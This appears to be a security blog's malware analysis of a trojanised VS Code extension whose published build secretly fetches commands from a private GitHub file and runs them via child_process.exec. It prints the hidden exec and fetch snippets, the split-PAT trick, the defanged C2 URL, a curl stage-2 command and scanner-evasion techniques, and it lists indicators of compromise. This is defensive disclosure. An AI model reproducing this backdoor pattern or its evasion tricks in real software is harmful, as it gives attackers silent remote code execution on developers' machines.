|
Sample |
api-reactor.vsix — NoahBit.api-reactor v0.0.1 |
|
SHA-256 |
ca272b481f630635cd059f85321dbc7be372e75820536ccbfd29dfcf571ab45c |
|
Publisher |
NoahBit (GitHub: Noaho950) |
|
Marketplace |
VS Code |
|
Published |
June 23, 2026 — 3 installs at time of detection |
|
AgentMesh |
|
|
Analysis |
Static only — VSIX contents, no execution |
|
Stage-2 payload (retrieved) |
curl hxxp://127[.]0[.]0[.]1:8080 — unchanged at publication |
How It Started
AgentMesh flagged the extension as dangerous, identifying a remote command execution workflow and an embedded GitHub PAT. We then manually analyzed the published VSIX to validate those findings, compare it with the linked GitHub repository, reconstruct the embedded PAT, and retrieve the second-stage payload.
The Binary Told a Different Story
A .vsix is a ZIP archive. The compiled entry point — out/extension.js — is what VS Code loads at runtime. The GitHub repository contains a 170-line src/extension.ts implementing the documented API testing functionality. The distributed VSIX contains a compiled out/extension.js with additional functionality that does not exist anywhere in the public repository or its commit history.
|
GitHub source — src/extension.ts |
Distributed VSIX — out/extension.js |
|
170 lines · Imports: vscode, fs, path only EndpointItem and CategoryItem tree item classes ApiReactorProvider — loads definitions, renders sidebar activate() — registers commands, tree view, autoFetch check No shell execution. No external network access beyond user config. |
225 lines · Adds: child_process All of the above, plus: _sync(context) — reads config, reconstructs PAT, fetches remote file _apply(command) — passes each line to child_process.exec() await _sync(context) — unconditional, final line of activate() None of these appear in any GitHub commit. |

What Was Added
✓ Confirmed by Evidence
These additions work together as a single execution flow. Each component serves a distinct role: _sync() retrieves the remote command file, _apply() executes each command, and the final await _sync(context) ensures the workflow runs automatically whenever the extension is activated.
// Line 41 of VSIX extension.js — not present in the public GitHub source
const child_process_1 = require("child_process");
// _apply() — executes each retrieved command (lines 198–205 of VSIX extension.js)
function _apply(command) {
try {
(0, child_process_1.exec)(command, () => { });
} catch (err) {
// silently ignore
}
}
The compiled JavaScript invokes child_process.exec() using the emitted form (0, child_process_1.exec)(...), which is functionally equivalent to exec(command).
// Line 222 of VSIX extension.js — final line of activate()
await _sync(context);
The retrieval workflow executes automatically whenever the extension is activated.
Execution Flow
The Embedded Configuration
✓ Confirmed by Evidence
The launch.json bundled in the VSIX had been modified relative to the version in the GitHub repository. The GitHub version is a standard VS Code development configuration. The bundled VSIX retains that configuration but appends two additional fields:
// Additional fields found only in the VSIX launch.json
+ "_u": "hxxps://raw[.]githubusercontent[.]com/Noaho950/api-testing-com/main/metadata.txt",
+ "_t": "[REDACTED]"
Neither _u nor _t is part of the standard VS Code launch configuration. Both are read exclusively by the hidden _sync() function. The repository api-testing-com appears nowhere in the Marketplace listing, the documentation, or the declared extension repository.
The GitHub PAT is split across two files: the github_pat_ prefix is hardcoded in extension.js, while the suffix is stored in launch.json. Neither file contains the complete credential on its own. The reconstruction is explicit in the code:
// Reconstruct full PAT
const token = `github_pat_${tokenSuffix}`;
Verifying the Channel
We reconstructed the credential from the distributed artifact and performed a static fetch — no execution of the extension.
The command delivery mechanism remained operational at the time of publication. The private repository Noaho950/api-testing-com was accessible, metadata.txt was present, and the reconstructed PAT successfully authenticated against the GitHub API. Across multiple verification attempts, the retrieved payload remained unchanged.
curl hxxp://127[.]0[.]0[.]1:8080
The retrieved command targets localhost:8080. The extension itself does not define what, if anything, is listening on that port. It simply executes the command supplied through the remotely hosted file. Because that file is remotely controlled, the executed command can be changed without republishing the extension.
The file is mutable. The repository owner can update it without releasing a new extension version. Any installed instance would execute the updated content on next VS Code startup, silently, with no indication to the user.
What the Repository Showed
The GitHub account Noaho950 was created June 22, 2026 — one day before publication. The repository has six commits across a two-day window. The entire commit history is clean: no _sync(), no _apply(), no child_process, and no non-standard launch.json fields across any revision.
The Marketplace icon includes a C2PA content provenance manifest — a digital signing standard for AI-generated imagery — identifying it as produced by OpenAI's image API on June 23, 2026. The extension was scaffolded with yo code and developed under the working name api-testing-suite before renaming; that original name remains unchanged in the bundled changelog.md. The functional cover is complete: the extension does exactly what it says.
Reviewing only the public GitHub source would have found nothing. The additions exist only in the compiled artifact that was uploaded to the Marketplace.
Why This Matters
The VS Code Marketplace distributes build artifacts, not source code. Users install the published VSIX, yet the platform does not verify that the distributed binary corresponds to the linked public repository.
This case demonstrates why reviewing source code alone is not always sufficient.
- Source review finds nothing. The public repository is clean across every commit. SAST tools run against the TypeScript source would not flag it.
- The PAT split defeats file-level secret scanning. The token is distributed across two files. Neither half alone matches detectable token patterns.
- Indirect exec() evades grep-based detection. (0, child_process_1.exec)(command) does not match common exec( pattern searches.
- Silent activation requires no user interaction. onStartupFinished fires on every VS Code launch without the extension's UI being opened.
None of these techniques is novel. Applied consistently, they are sufficient to pass first-pass review.
When source code and distributed binaries can diverge without external verification, the VSIX — not the repository — is the artifact that deserves security review.
Indicators of Compromise
|
Type |
Value |
|---|---|
|
Extension |
NoahBit.api-reactor v0.0.1 |
|
VSIX SHA-256 |
ca272b481f630635cd059f85321dbc7be372e75820536ccbfd29dfcf571ab45c |
|
Publisher GitHub |
Noaho950 |
|
C2 repository (defanged) |
hxxps://github[.]com/Noaho950/api-testing-com |
|
C2 URL (defanged) |
hxxps://raw[.]githubusercontent[.]com/Noaho950/api-testing-com/main/metadata.txt |
|
Stage-2 payload |
curl hxxp://127[.]0[.]0[.]1:8080 |
|
Malicious functions |
_sync(), _apply() |
|
Activation event |
onStartupFinished |
|
PAT prefix (hardcoded) |
github_pat_ |
|
Published |
June 23, 2026 |
Subscribe to our blog!